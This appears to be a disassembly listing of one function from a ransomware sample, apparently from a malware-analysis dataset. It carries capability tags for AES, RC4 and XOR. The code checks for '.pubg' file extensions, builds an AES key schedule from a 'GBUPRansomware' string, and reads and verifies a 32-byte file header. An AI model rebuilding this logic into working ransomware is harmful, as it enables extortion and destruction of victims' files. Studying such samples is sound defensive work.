Function at 0x10010030
Capabilities:
Encode data using xor
Encrypt data using aes
Encrypt data using rc4 ksa
Read file on windows
Reference aes constants

Disassembly:
push 0xffffffffffffffff
push 0x100f1c81
mov eax, dword fs:[0]
push eax
sub esp, 0x4dc
mov eax, dword [0x10139d00]
xor eax, esp
mov dword [esp + 0x4d8], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x10139d00]
xor eax, esp
push eax
lea eax, [esp + 0x4f0]
mov dword fs:[0], eax
cmp byte [0x101e05c8], 0
mov esi, ecx
mov dword [esp + 0x2c], esi
jne 0x100106bc
push esi
call dword [sym.imp.SHLWAPI.dll_PathFindExtensionW]
test eax, eax
je 0x100106d9
push str..pubg
push eax
call fcn.100d2c8a
add esp, 8
test eax, eax
jne 0x100106d9
lea eax, [esp + 0x18]
push eax
mov ecx, esi
call fcn.10008010
mov dword [esp + 0x4f8], 0
mov ecx, dword [esp + 0x18]
push 0x2e
push ecx
call fcn.100d2701
mov ecx, dword [esp + 0x20]
add esp, 8
test eax, eax
je 0x100100da
sub eax, ecx
sar eax, 1
cmp eax, 0xffffffff
jne 0x1001010a
lea eax, [ecx - 0x10]
mov dword [esp + 0x4f8], 0xffffffff
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x100106d9
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
jmp 0x100106d9
mov esi, eax
lea edi, [esp + 0x18]
call fcn.10010730
mov ecx, dword [esp + 0x18]
push 0x2e
push ecx
call fcn.100d2701
add esp, 8
test eax, eax
je 0x100106d0
sub eax, dword [esp + 0x18]
sar eax, 1
cmp eax, 0xffffffff
je 0x100106d0
lea ecx, [eax + 1]
lea esi, [esp + 0x1c]
mov edx, edi
call fcn.10010710
mov byte [esp + 0x4f8], 1
mov ecx, dword [esp + 0x1c]
cmp dword [ecx - 0xc], 0
je 0x100106c7
call fcn.10024f80
test al, al
je 0x100106c7
mov dword [esp + 0x34], vtable.CRijndael.0
mov byte [esp + 0x38], 0
mov byte [esp + 0x4f8], 2
mov edx, dword [str.GBUPRansomware]
mov ecx, dword [0x10129dec]
xor eax, eax
mov dword [esp + 0x4ad], eax
mov dword [esp + 0x4b1], eax
mov dword [esp + 0x4b5], eax
mov dword [esp + 0x4b9], eax
mov dword [esp + 0x4bd], eax
mov dword [esp + 0x4c1], eax
mov dword [esp + 0x4c5], eax
mov word [esp + 0x4c9], ax
mov byte [esp + 0x4cb], al
mov eax, dword [0x10129de8]
mov esi, 0x20
mov dword [esp + 0x4b0], eax
push esi
lea eax, [esp + 0x4b0]
mov dword [esp + 0x4b8], ecx
mov dword [esp + 0x4b0], edx
mov dx, word [0x10129df0]
push eax
lea ecx, [esp + 0x410]
push ecx
mov word [esp + 0x4c4], dx
mov dword [esp + 0x408], esi
mov dword [esp + 0x40c], esi
call fcn.100d4950
mov edx, dword [esp + 0x40c]
add esp, 0xc
push edx
lea eax, [esp + 0x4b0]
push eax
lea ecx, [esp + 0x430]
push ecx
call fcn.100d4950
mov ecx, dword [esp + 0x408]
mov eax, dword [esp + 0x40c]
add esp, 0xc
cmp ecx, 0x10
je 0x1001026a
cmp ecx, 0x18
je 0x10010261
lea ebx, [esi - 0x12]
jmp 0x10010280
xor ebx, ebx
cmp eax, esi
sete bl
jmp 0x1001027c
cmp eax, 0x10
jne 0x10010274
lea ebx, [eax - 6]
jmp 0x10010280
xor ebx, ebx
cmp eax, 0x18
setne bl
lea ebx, [ebx + ebx + 0xc]
cdq
and edx, 3
add eax, edx
mov ebp, eax
sar ebp, 2
xor edx, edx
mov dword [esp + 0x404], ebx
mov dword [esp + 0x24], ebp
test ebx, ebx
jl 0x100102bb
lea esi, [esp + 0x3c]
test ebp, ebp
jle 0x100102b3
mov ecx, ebp
xor eax, eax
mov edi, esi
rep stosd dword es:[edi], eax
mov ebx, dword [esp + 0x404]
inc edx
add esi, 0x20
cmp edx, ebx
jle 0x100102a0
xor edx, edx
test ebx, ebx
jl 0x100102e3
lea esi, [esp + 0x21c]
test ebp, ebp
jle 0x100102db
mov ecx, ebp
xor eax, eax
mov edi, esi
rep stosd dword es:[edi], eax
mov ebx, dword [esp + 0x404]
inc edx
add esi, 0x20
cmp edx, ebx
jle 0x100102c8
lea eax, [ebx + 1]
imul eax, ebp
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x3fc]
cdq
and edx, 3
add eax, edx
mov esi, eax
sar esi, 2
lea ecx, [esp + 0x448]
mov eax, 0x101e05a8
test esi, esi
jle 0x10010344
mov edx, esi
movzx edi, byte [eax]
shl edi, 0x18
mov dword [ecx], edi
movzx edi, byte [eax + 1]
inc eax
shl edi, 0x10
or dword [ecx], edi
movzx edi, byte [eax + 1]
inc eax
shl edi, 8
or dword [ecx], edi
movzx edi, byte [eax + 1]
or dword [ecx], edi
inc eax
inc eax
add ecx, 4
sub edx, 1
jne 0x10010311
mov ebx, dword [esp + 0x404]
xor edi, edi
test esi, esi
jle 0x10010389
cmp edi, dword [esp + 0x20]
jge 0x10010382
mov eax, edi
cdq
idiv ebp
mov ebx, dword [esp + edi*4 + 0x448]
inc edi
lea ecx, [edx + eax*8]
mov dword [esp + ecx*4 + 0x3c], ebx
mov ecx, dword [esp + 0x404]
sub ecx, eax
cmp edi, esi
mov eax, dword [esp + edi*4 + 0x444]
lea edx, [edx + ecx*8]
mov dword [esp + edx*4 + 0x21c], eax
jl 0x1001034a
mov ebx, dword [esp + 0x404]
cmp edi, dword [esp + 0x20]
jge 0x10010532
mov edx, 0x10127dc0
jmp 0x100103a0
mov eax, dword [esp + esi*4 + 0x444]
movsx ebx, byte [edx]
mov ecx, eax
sar ecx, 0x10
and ecx, 0xff
movsx ecx, byte [ecx + str.cw]
xor ecx, ebx
mov ebx, eax
sar ebx, 8
and ebx, 0xff
movzx ebx, byte [ebx + str.cw]
shl ecx, 8
xor ecx, ebx
mov ebx, eax
and ebx, 0xff
movzx ebx, byte [ebx + str.cw]
sar eax, 0x18
shl ecx, 8
and eax, 0xff
movzx eax, byte [eax + str.cw]
xor ecx, ebx
shl ecx, 8
xor ecx, eax
xor dword [esp + 0x448], ecx
inc edx
mov dword [esp + 0x30], edx
mov eax, 1
cmp esi, 8
je 0x10010440
cmp esi, eax
jle 0x100104d4
jmp 0x10010420
mov ecx, dword [esp + eax*4 + 0x444]
xor dword [esp + eax*4 + 0x448], ecx
inc eax
cmp eax, esi
jl 0x10010420
jmp 0x100104d4
mov ecx, dword [esp + eax*4 + 0x444]
xor dword [esp + eax*4 + 0x448], ecx
inc eax
cmp eax, 4
jl 0x10010440
mov eax, dword [esp + 0x454]
mov ecx, eax
sar ecx, 0x18
and ecx, 0xff
movsx ecx, byte [ecx + str.cw]
mov ebx, eax
sar ebx, 0x10
and ebx, 0xff
movzx ebx, byte [ebx + str.cw]
shl ecx, 8
xor ecx, ebx
mov ebx, eax
sar ebx, 8
and ebx, 0xff
movzx ebx, byte [ebx + str.cw]
shl ecx, 8
and eax, 0xff
movzx eax, byte [eax + str.cw]
xor ecx, ebx
shl ecx, 8
xor ecx, eax
xor dword [esp + 0x458], ecx
mov eax, 5
jmp 0x100104c0
mov ecx, dword [esp + eax*4 + 0x444]
xor dword [esp + eax*4 + 0x448], ecx
inc eax
cmp eax, 8
jl 0x100104c0
xor ecx, ecx
test esi, esi
jle 0x10010521
lea ebx, [ebx]
cmp edi, dword [esp + 0x20]
jge 0x1001052b
mov eax, edi
cdq
idiv ebp
mov ebp, dword [esp + ecx*4 + 0x448]
inc ecx
inc edi
lea ebx, [edx + eax*8]
mov dword [esp + ebx*4 + 0x3c], ebp
mov ebx, dword [esp + 0x404]
mov ebp, dword [esp + 0x24]
sub ebx, eax
cmp ecx, esi
mov eax, dword [esp + ecx*4 + 0x444]
lea edx, [edx + ebx*8]
mov dword [esp + edx*4 + 0x21c], eax
jl 0x100104e0
mov edx, dword [esp + 0x30]
cmp edi, dword [esp + 0x20]
jl 0x100103a0
mov ebx, dword [esp + 0x404]
mov edi, 1
cmp ebx, edi
jle 0x100105b2
lea esi, [esp + 0x23c]
test ebp, ebp
jle 0x100105aa
mov ecx, esi
mov edx, ebp
lea ebx, [ebx]
mov eax, dword [ecx]
mov ebx, eax
sar ebx, 0x18
and ebx, 0xff
mov ebx, dword [ebx*4 + 0x10126dc0]
mov ebp, eax
sar ebp, 0x10
and ebp, 0xff
xor ebx, dword [ebp*4 + 0x101271c0]
mov ebp, eax
sar ebp, 8
and ebp, 0xff
xor ebx, dword [ebp*4 + 0x101275c0]
and eax, 0xff
xor ebx, dword [eax*4 + 0x101279c0]
add ecx, 4
sub edx, 1
mov dword [ecx - 4], ebx
jne 0x10010550
mov ebx, dword [esp + 0x404]
mov ebp, dword [esp + 0x24]
inc edi
add esi, 0x20
cmp edi, ebx
jl 0x10010542
mov ecx, dword [esp + 0x2c]
push 0
push 0x80
push 3
push 0
push 1
push SysReAllocString
push ecx
mov byte [esp + 0x54], 1
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x100106c7
push 0
lea edx, [esp + 0x2c]
push edx
push 0x20
lea eax, [esp + 0x4d8]
push eax
push esi
mov dword [esp + 0x3c], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x100106c0
cmp dword [esp + 0x28], 0x20
jne 0x100106c0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x20
lea ecx, [esp + 0x4b0]
push ecx
lea edx, [esp + 0x4d4]
push edx
lea eax, [esp + 0x40]
call fcn.10032470
mov ebx, dword [esp + 0x1c]
lea eax, [esp + 0x4ac]
push eax
call fcn.10025060
test al, al
je 0x100106aa
mov ecx, dword [str.GBUPRansomware]
mov edx, dword [0x10129de8]
xor eax, eax
mov dword [0x101e05a8], eax
mov dword [0x101e05ac], eax
mov dword [0x101e05b0], eax
mov dword [0x101e05b4], eax
mov dword [0x101e05b8], eax
mov dword [0x101e05bc], eax
mov dword [0x101e05c0], eax
mov dword [0x101e05c4], eax
mov eax, dword [0x10129dec]
mov dword [0x101e05a8], ecx
mov cx, word [0x10129df0]
mov byte [0x101e05c8], 1
mov dword [0x101e05ac], edx
mov dword [0x101e05b0], eax
mov word [0x101e05b4], cx
lea eax, [esp + 0x1c]
call fcn.10020510
lea eax, [esp + 0x18]
call fcn.10020510
mov al, 1
jmp 0x100106db
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [esp + 0x1c]
call fcn.10020510
lea eax, [esp + 0x18]
call fcn.10020510
xor al, al
mov ecx, dword [esp + 0x4f0]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x4d8]
xor ecx, esp
call fcn.100d0738
add esp, 0x4e8
ret